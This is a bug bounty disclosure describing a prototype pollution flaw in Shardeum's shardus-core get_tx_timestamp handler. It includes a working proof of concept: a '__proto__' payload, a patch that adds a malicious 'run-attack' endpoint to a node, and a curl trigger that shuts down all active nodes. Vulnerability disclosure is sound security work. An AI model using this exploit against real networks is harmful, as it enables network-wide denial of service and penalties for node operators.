34500 - [BC - Critical] Prototype pollution vulnerability in get_tx_tim...
Submitted on Aug 14th 2024 at 07:04:48 UTC by @periniondon630 for Boost | Shardeum: Core
Report ID: #34500
Report type: Blockchain/DLT
Report severity: Critical
Target: https://github.com/shardeum/shardus-core/tree/dev
Impacts:
- Network not being able to confirm new transactions (total network shutdown)
Description
Brief/Intro
A prototype pollution vulnerability has been discovered in the get_tx_timestamp handler of the state-manager module. This vulnerability allows an attacker to manipulate the Object prototype, potentially leading to active node shutdown, slashing of the active node for early leave. If exploited in production/mainnet, this flaw could cause significant disruption and compromise the security of the system.
Vulnerability Details
The vulnerability exists in the following code snippet:
generateTimestampReceipt(
txId: string,
cycleMarker: string,
cycleCounter: CycleRecord['counter']
): TimestampReceipt {
const tsReceipt: TimestampReceipt = {
txId,
cycleMarker,
cycleCounter,
// shardusGetTime() was replaced with shardusGetTime() so we can have a more reliable timestamp consensus
timestamp: shardusGetTime(),
}
const signedTsReceipt = this.crypto.sign(tsReceipt)
/* prettier-ignore */ this.mainLogger.debug(`Timestamp receipt generated for txId ${txId}: ${utils.stringifyReduce(signedTsReceipt)}`)
// caching ts receipt for later nodes
if (!this.txTimestampCache[signedTsReceipt.cycleCounter]) {
this.txTimestampCache[signedTsReceipt.cycleCounter] = {}
}
// cache to txId map
this.txTimestampCache[signedTsReceipt.cycleCounter][txId] = signedTsReceipt
if (Context.config.p2p.timestampCacheFix) {
// eslint-disable-next-line security/detect-object-injection
this.txTimestampCacheByTxId[txId] = signedTsReceipt
this.seenTimestampRequests[txId] = true
}
/* prettier-ignore */ this.mainLogger.debug(`Timestamp receipt cached for txId ${txId} in cycle ${signedTsReceipt.cycleCounter}: ${utils.stringifyReduce(signedTsReceipt)}`)
return signedTsReceipt
}
Function is called from get_tx_timestamp handler, all parameters are coming from user controlled input and can be crafted to include special properties such as __proto__, allowing an attacker to manipulate the Object prototype. Here is get_tx_timestamp code:
this.p2p.registerInternal(
'get_tx_timestamp',
async (
payload: { txId: string; cycleCounter: number; cycleMarker: string },
respond: (arg0: Shardus.TimestampReceipt) => unknown
) => {
const { txId, cycleCounter, cycleMarker } = payload
/* eslint-disable security/detect-object-injection */
if (this.txTimestampCache[cycleCounter] && this.txTimestampCache[cycleCounter][txId]) {
await respond(this.txTimestampCache[cycleCounter][txId])
} else {
const tsReceipt: Shardus.TimestampReceipt = this.generateTimestampReceipt(
txId,
cycleMarker,
cycleCounter
)
await respond(tsReceipt)
}
/* eslint-enable security/detect-object-injection */
}
)
The values for parameters should be chosen in a way first condition will go to else case. The following exploit demonstrates this vulnerability:
Context.network.registerExternalGet('run-attack', async (req, res) => {
const payload = { txId: 'debug', receipt2: 'lorem', cycleCounter: '__proto__' }
for (const node of activeByIdOrder) {
await this.p2p.tell([node], 'get_tx_timestamp', payload)
}
})
Impact Details
The potential impacts of this vulnerability are severe and include:
- complete network shutdown, which demonstrates by exploit
- slashing active node by early leave penalty.
References
- OWASP: Prototype Pollution
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Proof of Concept
- Set up and launch a test Shardeum network.
- Apply the following patch to the shardus-core repository to introduce a malicious node:
diff --git a/src/state-manager/index.ts b/src/state-manager/index.ts
index f22738cf..a189e16e 100644
--- a/src/state-manager/index.ts
+++ b/src/state-manager/index.ts
@@ -2169,6 +2169,13 @@ class StateManager {
binaryGetAccountQueueCountHandler.handler
)
+ Context.network.registerExternalGet('run-attack', async (req, res) => {
+ const payload = { txId: 'debug', receipt2: 'lorem', cycleCounter: '__proto__' }
+ for (const node of activeByIdOrder) {
+ await this.p2p.tell([node], 'get_tx_timestamp', payload)
+ }
+ })
+
Context.network.registerExternalGet('debug_stats', isDebugModeMiddleware, (_req, res) => {
const cycle = this.currentCycleShardData.cycleNumber - 1
- Build and run your malicious node; it will be capable of attacking and shutting down the network.
- Wait until malicious node will become active.
- Initiate the attack from the malicious node using the following curl command:
curl 'http://<MALICIOUS_NODE_IP>:<EXTERNAL_PORT>/run-attack'
- The exploit code will iterate through all active nodes in the network and shut them down.
- Wait until all nodes appear red on the monitor webpage, indicating they are offline.
- Check the logs (e.g., fatal logs) to confirm that nothing can be processed.